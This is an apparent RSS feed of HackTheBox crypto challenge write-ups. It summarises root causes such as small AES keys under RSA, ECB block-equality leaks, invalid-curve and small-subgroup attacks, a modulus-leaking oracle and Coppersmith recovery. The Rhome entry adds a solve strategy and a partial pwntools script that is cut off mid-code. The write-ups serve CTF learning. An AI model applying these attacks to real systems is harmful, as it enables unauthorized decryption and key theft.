      <title>HTB - Crypto: ReMeeting the Wheel</title>
      <link>/posts/htb-crypto-remeeting-the-wheel/</link>
      <pubDate>Fri, 27 Feb 2026 17:10:00 +0700</pubDate>
      <guid>/posts/htb-crypto-remeeting-the-wheel/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; ReMeeting the Wheel&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the AES key from RSA data and decrypt the final secret.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The AES key is not random 128/256-bit material. Instead, it is constructed as:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;key1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; randint(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;21&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;key2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; randint(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;21&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;k &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; key1 &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; key2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So &lt;code&gt;k&lt;/code&gt; is only about 40–42 bits. The challenge publishes:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c = k^e mod n&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;with standard RSA parameters. This structure enables a meet-in-the-middle recovery.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: AliEnS</title>
      <link>/posts/htb-crypto-aliens/</link>
      <pubDate>Fri, 27 Feb 2026 17:05:00 +0700</pubDate>
      <guid>/posts/htb-crypto-aliens/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; AliEnS&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the hidden flag from a custom AES-ECB oracle.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The service builds plaintext as:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;aaes.pad(user_input) || aaes.pad(FLAG)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;aaes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;pad(x) &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; x &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; P[:(&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;len(x) &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;)] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; P&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;P &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;CryptoHackTheBox&amp;#34;&lt;/span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# 16 bytes&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then it encrypts with &lt;strong&gt;AES-ECB&lt;/strong&gt; and a &lt;strong&gt;fresh random key per query&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A fresh key blocks classic cross-query byte-at-a-time attacks. But ECB still leaks equality &lt;strong&gt;within the same response&lt;/strong&gt;: equal plaintext blocks produce equal ciphertext blocks under that query key.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Twisted Entanglement</title>
      <link>/posts/htb-crypto-twisted-entanglement/</link>
      <pubDate>Fri, 27 Feb 2026 13:15:00 +0700</pubDate>
      <guid>/posts/htb-crypto-twisted-entanglement/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Twisted Entanglement&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the server private key and decrypt the encrypted flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The challenge exposes scalar multiplication on attacker-controlled points with curve params fixed only as:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;a = 0, p = secp256k1 prime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;but it does &lt;strong&gt;not&lt;/strong&gt; verify that user points belong to the intended curve subgroup.&lt;/p&gt;&#xA;&lt;p&gt;That enables an &lt;strong&gt;invalid-curve / small-subgroup attack&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;send crafted points with known small order &lt;code&gt;q&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;observe &lt;code&gt;k*P&lt;/code&gt; from the server&lt;/li&gt;&#xA;&lt;li&gt;recover &lt;code&gt;k mod q&lt;/code&gt; by brute-force discrete log in tiny subgroup&lt;/li&gt;&#xA;&lt;li&gt;combine residues with CRT to recover the bounded private key (&lt;code&gt;k &amp;lt; 8748541127929402731638&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Then option 2 seeds Python RNG with that &lt;code&gt;k&lt;/code&gt;, so basis choices become predictable and AES key is recoverable.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Shamir&#39;s Secret</title>
      <link>/posts/htb-crypto-shamirs-secret/</link>
      <pubDate>Fri, 27 Feb 2026 11:35:00 +0700</pubDate>
      <guid>/posts/htb-crypto-shamirs-secret/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Shamir&amp;rsquo;s Secret&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the hidden flag from a custom share-encryption service.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The service returns 64 pairs &lt;code&gt;(x, y)&lt;/code&gt; where only 32 are genuine polynomial evaluations and 32 are random noise.&lt;/p&gt;&#xA;&lt;p&gt;For a message &lt;code&gt;m&lt;/code&gt;, real pairs satisfy:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;y = f(x) mod 2^1024&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;f(t) = m + a1*t + a2*t^2 + ... + a31*t^31&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The same hidden 64-bit mask decides which indices are real/fake for the whole process.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: quick maffs</title>
      <link>/posts/htb-crypto-quick-maffs/</link>
      <pubDate>Fri, 27 Feb 2026 09:58:00 +0700</pubDate>
      <guid>/posts/htb-crypto-quick-maffs/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; quick maffs&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the plaintext triplet and reconstruct the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The service encrypts three related plaintext chunks under the same RSA modulus/exponent pair:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;c1 = m1^e mod N&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;c2 = m2^e mod N&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;c3 = m3^e mod N&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;and leaks &lt;code&gt;m1 + m2 + m3 = hint&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Because &lt;code&gt;e&lt;/code&gt; is a prime &lt;code&gt;&amp;lt; 1024&lt;/code&gt;, we can iterate candidate exponents and solve the algebraic system directly.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: YALM</title>
      <link>/posts/htb-crypto-yalm/</link>
      <pubDate>Fri, 27 Feb 2026 02:26:00 +0700</pubDate>
      <guid>/posts/htb-crypto-yalm/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; YALM&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover encrypted secret despite hidden RSA modulus.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;Server encrypts with RSA (&lt;code&gt;e=3&lt;/code&gt;) but does not reveal &lt;code&gt;n&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However, test endpoint leaks comparison against &lt;code&gt;n&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if plaintext &lt;code&gt;&amp;lt; n&lt;/code&gt; → accepted&lt;/li&gt;&#xA;&lt;li&gt;if plaintext &lt;code&gt;&amp;gt;= n&lt;/code&gt; → &lt;code&gt;Too many messages!&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So we can recover exact &lt;code&gt;n&lt;/code&gt; by binary searching this boundary.&lt;/p&gt;&#xA;&lt;p&gt;Then ciphertext equation is:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c = (prefix || flag)^3 mod n&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With known prefix and small unknown suffix (flag), this becomes a univariate small-root problem solved by Coppersmith.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Birds of randomness</title>
      <link>/posts/htb-crypto-birds-of-randomness/</link>
      <pubDate>Fri, 27 Feb 2026 02:24:00 +0700</pubDate>
      <guid>/posts/htb-crypto-birds-of-randomness/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Birds of randomness&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Predict destination coordinates within 6 guesses and retrieve the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;Station coordinates are generated as &lt;code&gt;d*G&lt;/code&gt; on a fixed ECC curve, where &lt;code&gt;d = x*y*z&lt;/code&gt; from a weak PRNG state triplet with tiny moduli (&lt;code&gt;~30k&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;That puts &lt;code&gt;d&lt;/code&gt; in a bounded range:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;d &amp;lt; 30269 * 30307 * 30323 ≈ 2.78e13&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A bounded discrete log is feasible with BSGS.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Rhome</title>
      <link>/posts/htb-crypto-rhome/</link>
      <pubDate>Fri, 27 Feb 2026 02:22:00 +0700</pubDate>
      <guid>/posts/htb-crypto-rhome/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Rhome&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover shared secret and decrypt AES-encrypted flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The challenge builds prime &lt;code&gt;p = 2*q*r + 1&lt;/code&gt;, then sets generator:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;g = h^(2r) mod p&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This forces &lt;code&gt;g&lt;/code&gt; into the subgroup of order &lt;code&gt;q&lt;/code&gt; (small, ~42-bit). So both public keys &lt;code&gt;A = g^a&lt;/code&gt;, &lt;code&gt;B = g^b&lt;/code&gt; leak exponents modulo small &lt;code&gt;q&lt;/code&gt;, making discrete log feasible.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exploit-strategy&#34;&gt;Exploit Strategy&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Query &lt;code&gt;(p,g,A,B)&lt;/code&gt; and ciphertext.&lt;/li&gt;&#xA;&lt;li&gt;Factor &lt;code&gt;p-1&lt;/code&gt;, identify small prime subgroup order &lt;code&gt;q&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Solve &lt;code&gt;a = dlog_g(A)&lt;/code&gt; and &lt;code&gt;b = dlog_g(B)&lt;/code&gt; modulo &lt;code&gt;q&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Recompute shared secret &lt;code&gt;ss = g^(ab mod q)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Derive AES key from &lt;code&gt;sha256(ss)[:16]&lt;/code&gt; and decrypt.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;solve-script-full-poc&#34;&gt;Solve Script (Full PoC)&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; re&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; argparse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; hashlib &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; sha256&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pwn &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; remote&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; sympy &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; factorint&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; sympy.ntheory &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; discrete_log&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; Crypto.Cipher &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; AES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; Crypto.Util.Padding &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; unpad&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; Crypto.Util.number &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; long_to_bytes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;recv_menu&lt;/span&gt;(io):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvuntil(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;gt; &amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode(errors&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ignore&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;parse_params&lt;/span&gt;(blob):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; int(re&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;search(&lt;span style=&#34;color:#e6db74&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;p = (\d+)&amp;#39;&lt;/span&gt;, blob)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;group(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    g &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; int(re&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;search(&lt;span style=&#34;color:#e6db74&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;g = (\d+)&amp;#39;&lt;/span&gt;, blob)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;group(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    A &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; int(re&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;search(&lt;span style=&#34;color:#e6db74&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;A = (\d+)&amp;#39;&lt;/span&gt;, blob)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;group(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    B &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; int(re&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;search(&lt;span style=&#34;color:#e6db74&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;B = (\d+)&amp;#39;&lt;/span&gt;, blob)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;group(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; p, g, A, B&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ap &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; argparse&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ArgumentParser()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ap&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--host&amp;#39;&lt;/span&gt;, required&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 